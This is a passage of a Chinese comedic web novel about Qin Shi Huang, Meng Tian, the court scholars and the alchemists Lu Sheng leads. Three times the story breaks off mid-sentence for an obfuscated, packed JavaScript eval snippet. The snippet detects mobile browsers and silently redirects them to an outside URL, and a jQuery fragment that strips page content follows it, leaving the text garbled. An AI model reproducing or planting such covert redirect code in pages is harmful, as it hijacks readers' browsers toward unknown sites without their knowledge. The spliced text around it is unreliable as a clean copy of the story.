“是吗?”嬴政挑了挑眉,似乎有些不信,“朕听说,当年荆轲刺秦,盖聂便是凭耳力躲开了匕首。你是朕的大将军,难道还不如一个江湖剑客?” 蒙恬欲哭无泪:“陛下,盖聂那是……那是江湖传言,当不得真!况且,匕首是近身,箭矢是远射,不可同日而语啊!” “原来如此。”嬴政恍然大悟,随即又皱起眉头,“那若是……” “陛下!”蒙恬赶紧打断他,生怕陛下再问出什么“若是让你在水下憋气一个时辰能不能刺杀蛟龙”之类的问题,“臣……臣今日操练过度,手臂有些……有些不适,恐难再为陛下演示。” “手臂不适?”嬴政关切地站起身,“可是刚才伤着了?来人,传军医!” “不用!不用!”蒙恬连连摆手,“只是……只是有些酸软,歇息一晚便好。” “哦……”嬴政重新坐下,看着蒙恬,眼神中闪过一丝狡黠,“既然手臂不适,那便不用手臂。朕听说,真正的勇士,腿法亦能杀人。不如……” 蒙恬眼前一黑,差点晕过去。 就在蒙恬以为自己今日难逃“才艺表演”至死的命运时,帐外传来一阵急促的脚步声。 “陛下!咸阳八百里加急!” 李斯捧着一卷竹简,风尘仆仆地冲进大帐,脸上带着焦急之色。 蒙恬从未觉得李斯那张老脸如此亲切过,他几乎是热泪盈眶地看着李斯,仿佛看到了救苦救难的观世音菩萨。 “何事惊慌?”嬴政眉头一皱,被打断了兴致,有些不悦。 “陛下,齐地有变!”李斯将竹简呈上,“齐地旧贵族暗中串联,意图不轨,请陛下速回咸阳,主持大局!” 嬴政接过竹简,快速浏览,脸色逐渐阴沉下来:“哼,一群跳梁小丑,也敢兴风作浪!” 他站起身,看了蒙恬一眼,似乎有些遗憾:“蒙恬,看来今日的‘腿法演示’,只能改日了。” 蒙恬心中狂喜,面上却故作严肃:“陛下,国事为重!齐地之事,刻不容缓!” “嗯。”嬴政点点头,对李斯道,“传旨,明日启程,回咸阳。” “诺。”李斯领命,偷偷冲蒙恬使了个眼色,那意思是:我救了你一命,记得欠我个人情。 蒙恬感激涕零地回了个眼神:以后朝堂上,你说啥是啥! 回到咸阳,嬴政迅速处理了齐地的事务,手段雷霆,震慑宵小。 然而,蒙恬的好日子并没有持续多久。 这日,蒙恬正在府中与弟弟蒙毅对弈,享受难得的清闲时光。 “大哥,你这步棋走得妙啊。”蒙毅看着棋盘,啧啧称奇,“看似退让,实则暗藏杀机,不愧是沙场宿将。” 蒙恬得意地捋了捋胡须:“那是自然,为兄……” “陛下驾到——!” 一声尖细的唱喏,打断了蒙恬的得意。 蒙恬手一抖,棋子掉在棋盘上,乱了局势。 “臣等恭迎陛下!”兄弟二人赶紧起身接驾。 嬴政大步走进来,心情似乎不错,看了一眼棋盘:“哦?在下棋?看来蒙恬你今日无事。” 蒙恬心里咯噔一下:“回陛下,臣……刚处理完军务,略作休息。” “休息得好。”嬴政点点头,话锋一转,“既然休息好了,那便随朕去个地方。” “去……去哪儿?” “上林苑。” 上林苑,皇家猎场。 看着眼前茂密的丛林,听着远处隐约传来的虎啸熊罴之声,蒙恬感觉自己腿肚子有点转筋。 “陛下,”蒙恬试图做最后的挣扎,“臣近日偶感风寒,恐……” “无妨。”嬴政拍了拍他的肩膀,指着远处的一处高台,“朕今日不让你骑马,也不让你射箭。” 蒙恬心中一喜:“谢陛下体恤!” “朕今日,想看个新鲜的。”嬴政嘴角勾起一抹意味深长的笑,“朕听说,真正的勇士,能与猛兽徒手搏斗。今日上林苑正好新进了一头辽东黑熊,甚是威猛。蒙恬,你去,给朕演示一下,如何徒手制服黑熊。” 蒙恬:“!!!” 陛下,您这是体恤吗?您这是要送我上西天啊! “陛下!万万不可!”蒙恬噗通一声跪下,“黑熊力大无穷,皮糙肉厚,徒手搏之,无异于送死!臣……臣还想多为陛下效力几年啊!” “哦?你也怕死?”嬴政似乎有些惊讶。 “臣……臣也是肉体凡胎啊!”蒙恬都快哭了。 “朕还以为,你蒙恬是战神下凡,无所不能呢。”嬴政语气中带着一丝戏谑。 蒙恬这才反应过来,陛下这是在逗他玩呢!他根本不是真想看什么徒手搏熊,纯粹就是……想看他出丑! “陛下,”蒙恬抬起头,一脸悲愤,“臣知错了!” “哦?何错之有?”嬴政挑眉。 “臣不该……不该在陛下面前逞能,不该每次都把才艺表演得那么……精彩。”蒙恬咬着牙说道。 “哈哈哈哈!”嬴政终于忍不住大笑起来,笑声惊起了林中的飞鸟。 他伸手扶起蒙恬,拍了拍他肩膀上的灰尘:“蒙恬啊蒙恬,你总算开窍了。朕是皇帝,不是看杂耍的。朕要的,是能替朕镇守边疆、统领大军的大将军,不是街头卖艺的。” 蒙恬愣住了:“那陛下您……” “朕只是觉得,”嬴政看着远处苍茫的群山,语气变得深沉,“这咸阳宫太闷了,看着你们这些武将生龙活虎的样子,朕才能感觉到,这天下,是活的。” 蒙恬心中一震,看着陛下略显疲惫的侧脸,突然明白了什么。 “陛下,”蒙恬郑重行礼,“臣虽不善言辞,但臣愿为陛下手中利剑,扫平一切障碍。若陛下想看,臣……随时可以表演。” “算了,”嬴政摆摆手,转身往回走,“留着点力气打匈奴吧。等哪天朕真的无聊透顶了,你再给朕表演个胸口碎大石也不迟。” 蒙恬:“……”陛下,您这要求越来越离谱了啊! 自那以后,蒙恬在陛下面前,收敛了许多。 再也不敢轻易展示什么“百步穿杨”、“马背开弓”之类的绝技,生怕陛下哪天心血来潮,让他去表演“胸口碎大石”或者“舌战群儒”。 然而,树欲静而风不止。 这日朝会,嬴政看着一份关于南越之地的奏章,眉头紧锁。 “南越之地,瘴气弥漫,道路崎岖,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387659|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军难以行进。”嬴政放下奏章,看向武将队列,“诸位将军,谁愿领兵南下,平定百越?” 众将面面相觑,无人应声。南越那地方,去了就是九死一生,谁愿意去? 嬴政的目光扫过众人,最后落在了蒙恬身上。 蒙恬心里一紧,赶紧低下头,眼观鼻,鼻观心,假装自己是一尊雕像。 “蒙恬。”嬴政点名了。 “臣在。”蒙恬硬着头皮出列。 “朕记得,你上次在上林苑,似乎对徒手搏熊很有信心?”嬴政似笑非笑地看着他,“南越之地,多毒虫猛兽,甚至还有比熊更厉害的‘象兵’。既然蒙将军如此勇武,不如……” “陛下!”蒙恬赶紧打断,声音带着一丝恳求,“臣……臣那日只是吹牛,当不得真!南越之事,关乎国运,臣以为,当派一智勇双全、老成持重之将,比如……王翦老将军?” 站在一旁的王翦本来在闭目养神,听到这话,猛地睁开眼,狠狠瞪了蒙恬一眼:臭小子,你想害死老夫? “王老将军年事已高,朕怎忍心让他再赴瘴疠之地?”嬴政摇摇头,目光依旧锁定在蒙恬身上,“蒙恬,你正值壮年,又是朕最信任的大将,此事,非你莫属。” 蒙恬欲哭无泪。他知道,这是陛下对他之前“高调”的惩罚。 “臣……”蒙恬咬了咬牙,正准备领命,突然灵机一动,捂着胸口,剧烈咳嗽起来,“咳咳咳……陛下,臣……臣近日旧伤复发,恐难当此大任……咳咳咳……” 他咳得撕心裂肺,仿佛要把肺都咳出来,身子摇摇欲坠,似乎下一刻就要倒地不起。 满朝文武都惊呆了。蒙恬大将军,昨日还在校场生龙活虎地训兵,今天就病得这么重了? 嬴政看着蒙恬那副“病入膏肓”的样子,嘴角微微抽搐,强忍住笑意。 “哦?旧伤复发?”嬴政故作关切,“可传太医看过了?” “看……看过了。”蒙恬一边咳一边说,“太医说,臣这是……这是积劳成疾,需静养……静养半年。” “半年啊……”嬴政摸了摸下巴,点点头,“既然如此,那南越之事,便先放一放。” 蒙恬心中一喜,正要谢恩。 “不过,”嬴政话锋一转,“既然蒙将军需要静养,那这半年的军务,就交给王离暂代吧。至于蒙将军你……” 蒙恬的心又提了起来。 “就在府中好好‘静养’。”嬴政站起身,走到蒙恬面前,压低声音,用只有两人能听到的音量说道,“记住,是真静养,别让朕发现你在后院偷偷练什么‘胸口碎大石’。” 蒙恬:“……诺。” 朝会散去,蒙恬拖着“病体”,一步三晃地走出大殿。 李斯凑过来,小声问道:“蒙将军,真病了?” 蒙恬停下脚步,左右看看,确认没人,挺直了腰板,长舒一口气:“李相,你是不知道,在陛下面前,太能干也是一种罪过啊。” 李斯深有同感地点点头:“蒙将军所言极是。所以老夫现在写奏章,都尽量写短点。” 蒙恬拍了拍李斯的肩膀,一脸“同是天涯沦落人”的表情:“李相,以后咱们都得低调点。记住,藏拙,才是保命之道。” 李斯拱手:“受教了。” 三个月后,咸阳宫。 嬴政正在批阅奏章,内侍来报:“陛下,蒙恬将军求见。” “哦?他不是在‘静养’吗?”嬴政挑眉,“宣。” 蒙恬走进来,气色红润,步履稳健,哪有半点生病的样子? “臣蒙恬,参见陛下。”蒙恬行礼,神色有些尴尬。 “怎么?静养好了?”嬴政放下笔,看着他。 “回陛下,臣……臣是来请罪的。”蒙恬低着头,“臣并未生病,只是……只是不想去南越,故而装病欺君,请陛下责罚。” 嬴政看着他,沉默片刻,突然笑了:“朕知道。” 蒙恬一愣:“陛下知道?” “你那点小心思,瞒得过朕?”嬴政站起身,走到他面前,“朕若真想让你去南越,你就是真病了,朕也会让人抬着你去。” 蒙恬心中一震,抬头看向嬴政。 “蒙恬,”嬴政拍了拍他的肩膀,语气变得严肃,“朕让你装病,是想让你明白一个道理。木秀于林,风必摧之。你是朕的利剑,但利剑,不能总是出鞘。有时候,藏在鞘里,反而更让人忌惮。” 蒙恬恍然大悟,深深拜服:“臣……明白了!谢陛下教诲!” “明白就好。”嬴政笑了笑,重新坐回御座,“既然‘病’好了,那就准备准备吧。” “准备什么?”蒙恬心里又是一紧。 “北疆传来消息,匈奴又有异动。”嬴政拿起一份军报,眼中寒光一闪,“这次,不用你表演什么才艺。朕要你,带着朕的三十万大军,去把匈奴单于的脑袋,给朕带回来。” 蒙恬精神一振,眼中战意勃发,抱拳行礼,声音铿锵有力:“诺!臣必不负陛下所托!” 这一次,他不是在表演,而是真的要去做一件惊天动地的大事。 走出章台殿,蒙恬看着湛蓝的天空,深吸一口气。 看来,以后在陛下面前,还是得……少说话,多做事。 毕竟,真正的将军,是靠战功说话的,不是靠耍把式。 19. 博士官的噩梦 咸阳宫的博士殿,平日里是儒生们引经据典、高谈阔论的地方。空气中常年弥漫着书卷的霉味和清谈的酸腐气,博士们在这里辩论“三代之治”,探讨“礼乐复兴”,日子过得逍遥自在。 然而,今日的博士殿,气氛却比停尸房还要凝重。 七十位博士官,包括大名鼎鼎的淳于越、叔孙通、周青臣等人,此刻正整齐地跪坐在大殿两侧,个个屏息凝神,额头冒汗,仿佛等待审判的囚徒。 御座之上,嬴政身着玄色冕服,冕旒垂落,遮住了他的表情。他手中把玩着一卷竹简,手指轻轻敲击着扶手,发出沉闷的“笃、笃”声,每一声都像是敲在博士们的心尖上。 “诸位爱卿,”嬴政终于开口,声音平淡,却带着一股无形的威压,“朕近日读史,有些疑惑,想请教各位大贤。” 来了。 博士们心头一紧,互相交换了一个“果然如此”的眼神,心中警铃大作。 陛下所谓的“请教”,通常意味着两件事:要么,你的答案让他满意,他赏你点骨头;要么,你的答案让他不爽,他送你去骊山。 “陛下请讲,臣等定当竭尽所能,为陛下解惑。”博士仆射周青臣硬着头皮开口,声音有些发颤。 “嗯。”嬴政点点头,放下竹简,目光扫过众人,“朕的第一个问题是:为何三代之治,皆行分封,而朕行郡县,天下便有人骂朕是‘暴君’?” 大殿内一片死寂。 这个问题,简直就是送命题。 谁都知道,陛下最讨厌别人提“分封”,最恨别人骂他“暴君”。如今他把这两个雷一起扔出来,摆明了是要炸鱼。 博士们你看我,我看你,谁也不敢先开口。 “怎么?”嬴政挑眉,“平日里诸位谈起三代之治,口若悬河,头头是道。如今朕虚心求教,怎么都哑巴了?” “陛下,”老博士淳于越深吸一口气,站起身,他是儒家代表,向来以敢言著称,“臣以为,三代行分封,乃因天下初定,疆域辽阔,非分封不足以镇守。周室衰微,诸侯并起,乃因礼崩乐坏,非分封之过也。至于陛下行郡县……” 他顿了顿,看了一眼嬴政的脸色,咬牙道:“郡县之制,虽利于中央集权,然陛下扫平六国,六国遗民心怀故国,若不行分封以安其心,恐生祸乱。百姓无知,故而……妄加评议。” “哦?”嬴政身体微微前倾,看着淳于越,“照淳于博士的意思,朕若行分封,他们就不骂朕了?” “这……”淳于越语塞。 “那好,”嬴政笑了笑,笑容却未达眼底,“朕再问你。若朕行分封,封你为齐王,你会不会骂朕?” 淳于越脸色大变,噗通一声跪下:“陛下!臣……臣绝无此心!” “朕只是假设。”嬴政摆摆手,示意他起来,“既然你不愿回答,那朕换个问法。若朕封你的儿子为齐王,你会不会教他忠于朕?” 淳于越冷汗涔涔,嘴唇哆嗦,一个字也说不出来。 这怎么回答?说会?那是撒谎。说不会?那是找死。 “看来淳于博士还没想好。”嬴政也不逼他,目光转向其他人,“叔孙通,你说说。” 叔孙通一个激灵,连忙起身:“陛下,臣以为……” “别急着说‘臣以为’。”嬴政打断他,“朕要听实话。你若是六国遗民,朕给你官做,给你地种,你还会不会想着复国?” 叔孙通张了张嘴,脸色由白转青,由青转紫,最后憋出一句:“臣……臣是秦人。” “好一个秦人。”嬴政点点头,不再看他,又点了几个博士的名字,问题一个比一个刁钻,一个比一个诛心。 “周青臣,你说分封好,那若是分封之后,诸侯造反,该当如何?是派兵镇压,还是下诏斥责?” “博士甲,你说郡县制让百姓不安,那若是百姓不安,是因为朕的官不好,还是因为朕的法不好?” “博士乙,你常说要‘以德服人’,那若是有人拿刀架在你脖子上,你是先跟他讲道理,还是先喊救命?” 一轮问答下来,博士们个个面如死灰,汗流浃背。他们发现,陛下根本不是在问问题,他是在用逻辑的刀子,一刀一刀地剥开他们那些冠冕堂皇的理论,露出里面苍白无力的内核。 就在博士们以为今日难逃一劫时,嬴政突然话锋一转。 “好了,政治的问题,看来诸位各有见解,一时难以统一。”嬴政端起茶杯,慢悠悠地喝了一口,“那咱们换个轻松点的话题。” 博士们刚松了半口气,又提了起来。陛下的“轻松话题”,通常比正经话题更致命。 “朕近日听闻,海外有仙山,山上有仙人,食之可长生不老。”嬴政放下茶杯,看着众人,“诸位博士,皆是饱学之士,通晓古今。不知对此事,有何高见?” 博士们面面相觑。这话题,看似好答,实则是个巨坑。 说信?那是方士之言,非君子之道,有辱斯文。 说不信?陛下最近正沉迷长生,这不是打陛下的脸吗? “陛下,”周青臣再次硬着头皮开口,“臣以为,神仙之说,古已有之,然虚无缥缈,不可尽信,亦不可不信。陛下若有意,可遣人寻访,以求印证。” “嗯,老成持重之言。”嬴政点点头,似乎很满意,随即问道,“那周博士以为,这神仙,是住在天上,还是住在海里?” 周青臣:“……大概……海里吧?” “为何?” “《山海经》有云,海中有蓬莱、方丈、瀛洲三神山……” “《山海经》?”嬴政挑眉,“那是神话故事,当不得真。朕问你,若神仙住在海里,他们吃什么?喝什么?海水咸涩,如何饮用?” 周青臣:“……”我哪知道神仙喝不喝水啊! “还有,”嬴政继续追问,“你说神仙长生不老,那他们会不会生病?若是生病,吃什么药?若是死了,埋在哪里?” 周青臣:“……”陛下,您这是要研究神仙的殡葬业吗? “怎么?答不上来?”嬴政笑了笑,看向其他人,“淳于博士,你来说说。” 淳于越此刻已经缓过劲来,他清了清嗓子,正色道:“陛下,臣以为,神仙之事,荒诞不经。君子当务本,本立而道生。陛下当以治国安民为重,何必求诸虚无?” “好!”嬴政抚掌,“淳于博士果然耿直。那朕问你,既然神仙荒诞不经,为何从三皇五帝到如今,历代君王皆求长生?是他们太蠢,还是你太聪明?” 淳于越:“……”他又被噎住了。 “还有,”嬴政站起身,走到淳于越面前,“你说君子务本,那朕问你,若是朕能长生不老,永镇天下,这算不算‘本’?这算不算最大的‘治国安民’?” 淳于越张了张嘴,发现自己竟然无法反驳。从逻辑上讲,皇帝长生,确实是最大的政治稳定。 “看来,诸位博士对神仙之事,也是知其然,不知其所以然。”嬴政摇摇头,语气带着一丝失望,“既然如此,那朕就只能靠那些方士了。毕竟,他们虽然满嘴胡话,但至少敢说。” 博士们羞愧地低下头,恨不得找个地缝钻进去。 就在博士们以为今日的折磨即将结束时,嬴政突然从袖中掏出一卷竹简,重重摔在案上。 “啪”的一声巨响,吓得众人一哆嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387660|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这是朕昨日收到的密报。”嬴政声音转冷,“咸阳城中,有儒生私藏禁书,聚众讲学,非议朝政,甚至……妄言朕何时驾崩。” 大殿内温度骤降,空气仿佛凝固了。 “朕很好奇,”嬴政目光如刀,扫过众人,“朕待你们不薄,给你们高官厚禄,让你们著书立说。为何你们还要在背后,诅咒朕死?” “陛下息怒!”博士们吓得跪倒一片,磕头如捣蒜。 “息怒?”嬴政冷笑,“朕如何息怒?朕今日问你们问题,你们支支吾吾,顾左右而言他。朕问你们神仙,你们说是虚妄。朕问你们分封,你们说是良策。可到了背地里,你们却拿着这些‘虚妄’和‘良策’,来攻击朕,诅咒朕!” 他拿起那卷竹简,念道:“‘暴秦无道,焚书坑儒,必遭天谴,二世而亡’……诸位博士,这话,听着耳熟吗?” 无人敢应声,只有粗重的喘息声和牙齿打颤的声音。 “朕今日叫你们来,不是要杀你们。”嬴政重新坐下,语气平静得可怕,“朕只是想问你们一个问题。既然你们觉得,这些书如此重要,如此神圣,那为何书中记载的圣王之道,没能阻止周室衰微?没能阻止战国纷争?没能阻止朕……灭掉六国?” 博士们愣住了。 这是一个他们从未思考过的问题。 “朕焚书,不是因为朕怕书,而是因为朕觉得,这些书,没用。”嬴政缓缓道,“它们教不会君王如何治国,教不会百姓如何吃饱,教不会军队如何打胜仗。它们只会教人如何空谈,如何怀旧,如何……在背后骂人。” “陛下……”淳于越抬起头,眼中带着一丝迷茫。 “朕再问你们最后一个问题。”嬴政竖起一根手指,“若是让你们在‘保留这些书,但天下重回战乱’和‘烧掉这些书,但天下永享太平’之间选择,你们选哪个?” 博士们彻底沉默了。 这是一个无法回答的问题。选择前者,他们是千古罪人。选择后者,他们毕生的信仰将崩塌。 “看来,你们还没想好。”嬴政站起身,拂袖而去,“朕给你们三天时间,好好想想。想通了,再来见朕。” 嬴政走了,留下七十位博士,在大殿中面面相觑,心如死灰。 “淳于兄,这……这可如何是好?”叔孙通拉着淳于越的袖子,声音带着哭腔。 淳于越看着空荡荡的御座,长叹一声:“陛下之智,深不可测。我等……皆被他玩弄于股掌之间。” “那……那焚书之事……” “焚吧。”淳于越闭上眼睛,仿佛瞬间苍老了十岁,“或许陛下是对的。这些书,确实救不了天下。” 从那以后,博士殿的气氛彻底变了。 博士们不再高谈阔论,不再引经据典。他们变得谨小慎微,说话前要再三思量,生怕哪句话又被陛下抓住把柄,问得他们体无完肤。 而嬴政,似乎爱上了这种“学术拷问”。 每隔一段时间,他就会把博士们叫去,问一些稀奇古怪的问题。 “博士们,你们说,为何鸡蛋是椭圆的,而不是方的?” “博士们,你们说,为何人老了会掉头发,而猫不掉?” “博士们,你们说……” 博士们欲哭无泪。他们发现,比起那些宏大的政治命题,这些看似幼稚的问题,更难回答。 因为陛下要的,不是标准答案,而是……逻辑。 只要你的逻辑有一丝漏洞,他就会像猎豹一样扑上来,把你撕得粉碎。 咸阳宫的博士官,成了大秦最危险的职业。 他们的噩梦,才刚刚开始。 20. 方士们的反诈风云 咸阳宫,炼丹房。 空气中弥漫着刺鼻的硫磺和汞味,十几个身穿道袍的方士正围着一座巨大的青铜丹炉,口中念念有词,神情肃穆。 炉火熊熊,映照着他们汗涔涔的脸庞,也映照着他们眼底深藏的恐惧。 “卢生师兄,”一个年轻的方士擦了把汗,小声问领头的卢生,“这炉‘九转还魂丹’,真的能炼成吗?” 卢生瞥了他一眼,压低声音:“炼不成也得炼!陛下给的期限只剩三天了,若是再拿不出成果,咱们都得去骊山填坑!” 年轻方士打了个寒颤,不敢再问。 自从陛下迷上长生不老之术,咸阳宫就成了方士们的“修罗场”。每个月都有新的“仙师”被请进宫,每个月也都有旧的“仙师”因为丹药无效、或者干脆是吃死人而被拖出去砍头。 卢生这一批,已经是今年的第三拨了。 “师兄,”另一个方士凑过来,声音发颤,“我听说……上个月被处死的徐福那一拨,临死前说……说海外根本没有仙山,那都是骗人的……” “闭嘴!”卢生厉声喝道,警惕地看了看四周,“你想死别连累我们!记住,仙山是有的,神仙也是有的!只要咱们心诚,一定能炼出长生不老药!” “可是……” “没有可是!”卢生眼中闪过一丝狠厉,“不想死的,就给我好好演!把炉火烧旺点,把咒语念大声点!” 就在这时,门外传来内侍尖细的唱喏声:“陛下驾到——!” 方士们浑身一抖,赶紧整理衣冠,跪伏在地。 “恭迎陛下!” 嬴政大步走进炼丹房,身后跟着李斯和几名侍卫。他扫了一眼烟雾缭绕的丹房,眉头微皱:“卢生,丹药炼得如何了?” 卢生赶紧磕头:“回陛下,臣等日夜不休,以三昧真火淬炼,如今丹药已具雏形,只待……只待明日午时,阴阳交汇之时,便可出炉!” “明日午时?”嬴政走到丹炉前,伸手摸了摸滚烫的炉壁,“朕希望,这次不要让朕失望。” “臣等必竭尽全力!”卢生额头触地,冷汗顺着鼻尖滴落。 “很好。”嬴政点点头,话锋一转,“不过,在丹药出炉之前,朕还有一事要问你们。” “陛下请讲。” “朕昨日做了一个梦。”嬴政缓缓道,“梦见一位仙人,自称‘赤松子’,他对朕说,长生不老药,不在丹炉里,而在……人心。” 方士们一愣,面面相觑。 “仙人说,”嬴政继续道,“若要长生,需集齐‘三诚’:诚心、诚行、诚言。其中,诚言最为重要。仙人让朕问你们……” 他目光如刀,扫过众方士:“你们所说的海外仙山,蓬莱、方丈、瀛洲……真的存在吗?” 空气瞬间凝固了。 方士们吓得魂飞魄散,一个个抖如筛糠。 卢生心脏狂跳,大脑飞速运转。陛下这么问,难道是听到了什么风声?还是徐福临死前说了什么? 不,不可能,徐福那拨人死得很干净。 这是试探!一定是试探! “回……回陛下!”卢生咬牙,大声道,“仙山当然存在!臣等师门典籍中皆有记载,蓬莱在东海之东,方丈在南海之南,瀛洲在……” “是吗?”嬴政打断他,从袖中掏出一卷帛书,扔在卢生面前,“那你看看这个。” 卢生颤抖着拿起帛书,只看了一眼,脸瞬间变得惨白。 帛书上,画着一张简陋的海图,标注着东海、南海等海域,旁边还写着几行小字: “经查,东海三百里内无岛,五百里内无水,一千里内……只有鱼。” “南海二百里处有礁,触之船毁,五百里处有漩涡,吞没船只无数。” “北海……结冰,无法行船。” 落款是:大秦水师都督,任嚣。 “这……这……”卢生手一抖,帛书掉落在地。 “任嚣奉朕之命,率船队出海三月,搜寻仙山。”嬴政冷冷道,“这就是他带回来的结果。卢生,你告诉朕,你们的仙山,到底在哪?是在海底,还是在……天上?” “陛下饶命!陛下饶命啊!”方士们彻底崩溃了,纷纷磕头求饶。 “卢生,”嬴政走到卢生面前,蹲下身,看着他,“朕再给你最后一次机会。说实话,朕或许……可以饶你们一命。” 卢生抬起头,看着嬴政那深不见底的眼睛,突然明白了。 陛下根本不信什么仙山,他是在……钓鱼。 钓他们这些骗子的鱼。 半个时辰后,章台殿。 卢生等十几名方士跪在地上,面如死灰。他们面前,摆着厚厚一摞竹简,那是他们刚刚“主动交代”的“诈骗笔录”。 “陛下,”李斯拿起一卷竹简,念道,“据卢生等人供述,所谓‘长生不老药’,实则是用朱砂、水银、铅粉等物炼制,长期服用,轻则中毒,重则……毙命。” “所谓‘海外仙山’,纯属子虚乌有,乃前朝方士为骗取君王赏赐而编造的谎言。” “所谓‘呼风唤雨’,乃是利用天象变化,配合药物制造烟雾,欺骗百姓。” “所谓……” “够了。”嬴政抬手,打断李斯。 他看着跪在地上的方士们,脸上看不出喜怒:“这么说,你们从一开始,就在骗朕?” “臣等罪该万死!罪该万死!”方士们哭喊着磕头。 “朕很好奇,”嬴政身体微微前倾,“明知道是死罪,为什么还敢来骗朕?是觉得朕好骗,还是觉得……朕不敢杀你们?” “臣……臣等不敢!”卢生颤抖道,“只是……只是长生之说,自古有之,历代君王皆信,臣等……臣等也是被贪欲蒙蔽了双眼,以为能侥幸……” “侥幸?”嬴政冷笑,“你们不是侥幸,你们是觉得,朕太渴望长生,所以会失去理智,对吗?” 方士们不敢回答,但沉默本身就是答案。 嬴政站起身,走到窗边,看着远处的骊山,久久不语。 李斯在一旁小心翼翼地问道:“陛下,这些人罪大恶极,欺君罔上,按律当……车裂,夷三族。” 方士们吓得瘫软在地,有人甚至失禁了。 “车裂?”嬴政转过身,摇了摇头,“太便宜他们了。” “那陛下的意思是……” “朕觉得,”嬴政嘴角勾起一抹玩味的笑,“杀了他们,太浪费。既然他们这么能骗,这么会说,这么会演……那就让他们,继续骗下去。” “啊?”李斯一愣。 方士们也愣住了,不解地看着嬴政。 “从今日起,”嬴政缓缓道,“成立‘大秦反诈司’,由卢生任司长,其余人等皆为反诈专员。” “反……反诈司?”卢生一脸茫然。 “对。”嬴政点点头,“你们的任务,就是利用你们骗人的本事,去骗……那些想骗朕的人。” “比如,各地进贡的‘祥瑞’,你们去鉴定真假。” “比如,自称有‘神功’的江湖术士,你们去拆穿把戏。” “比如,民间流传的‘长生秘方’,你们去验证毒性。” 嬴政看着目瞪口呆的方士们,淡淡道:“每拆穿一个骗子,你们的罪就减一分。若是能抓到一个真正有本事的……朕赏你们黄金百两。若是再敢骗朕,或者抓不到骗子……” 他指了指殿外:“骊山的坑,还空着呢。” 大秦反诈司,挂牌成立。 卢生等人穿着特制的官服(胸前绣着一个大大的“诈”字,意为“反诈”),开始了他们的新工作。 起初,他们以为这活很简单。毕竟,同行是冤家,拆穿同行的把戏,他们最在行。 然而,很快他们就发现,事情没那么简单。 “卢司长,”一个方士哭丧着脸汇报,“今天来了个老头,说他家的公鸡下蛋了,是祥瑞。我们去一看,那蛋……是鸭蛋涂了红漆!” “拆穿他啊!”卢生皱眉。 “拆穿了!可那老头躺地上打滚,说我们污蔑祥瑞,要撞死在宫门口!百姓们还信了,说我们嫉妒!” “废物!”卢生骂道,“这点小事都办不好!明天我去!” 第二天,一个自称“昆仑山神使”的道士来到宫门前,手里托着一个玉瓶,声称瓶中有“无根神水”,能治百病。 “此乃昆仑山巅万年积雪所化,凡人饮之,百病全消!”道士高声叫卖,周围围满了百姓。 卢生带着人挤了进去。 “你说这是神水?”卢生问。 “正是!”道士傲然道。 卢生拿起玉瓶,闻了闻,冷笑一声:“这不是神水,这是……童子尿。” “胡说八道!”道士大怒,“你竟敢亵渎神灵!” “是不是亵渎,一试便知。”卢生对身后的方士道,“去,牵条狗来。” 狗牵来了,卢生把“神水”倒在碗里,狗闻了闻,舔了一口,然后…… “汪汪!”狗嫌弃地叫了两声,扭头走了。 百姓们哄堂大笑。 道士脸涨得通红,指着卢生:“你……你……” “你什么你!”卢生厉声道,“你这尿,不仅不是神水,还馊了!一看就是陈年老尿!来人,拿下!” 侍卫们一拥而上,将道士拿下。 “卢司长威武!”百姓们纷纷叫好。 卢生得意地捋了捋胡须,心中暗爽。原来,当个“好人”的感觉,也挺好。 然而,好景不长。 几天后,一个真正的“硬茬”来了。 来者是个西域胡僧,自称“大梵天座下弟子”,能“口吐莲花,凭空取物”。 他在咸阳街头摆下擂台,当着数千百姓的面,真的从嘴里吐出了一朵金色的莲花,又凭空变出了一串佛珠,引得百姓们顶礼膜拜,甚至连一些官员都信了。 “卢司长,这……这怎么办?”手下们慌了,“这胡僧好像……有点真本事啊!” 卢生去看了一眼,回来后面色凝重。 “屁的真本事!”他骂道,“那是戏法!嘴里藏了鱼鳔,莲花是特制的,能伸缩!凭空取物……他袖子里有机关!” “那……那咱们去拆穿他?” “拆穿?”卢生苦笑,“他手法太快,咱们就算知道原理,当着那么多人的面,也抓不住现行。万一失手,咱们反诈司的脸就丢尽了!” “那……那难道就看着他骗人?” “当然不能!”卢生眼中闪过一丝狠色,“既然他要玩,咱们就陪他玩个大的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387661|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次日,胡僧的擂台前,人山人海。 胡僧正要表演“刀枪不入”,卢生带着人走了上来。 “这位大师,”卢生拱手道,“听闻大师法力高强,在下不才,也想讨教一二。” 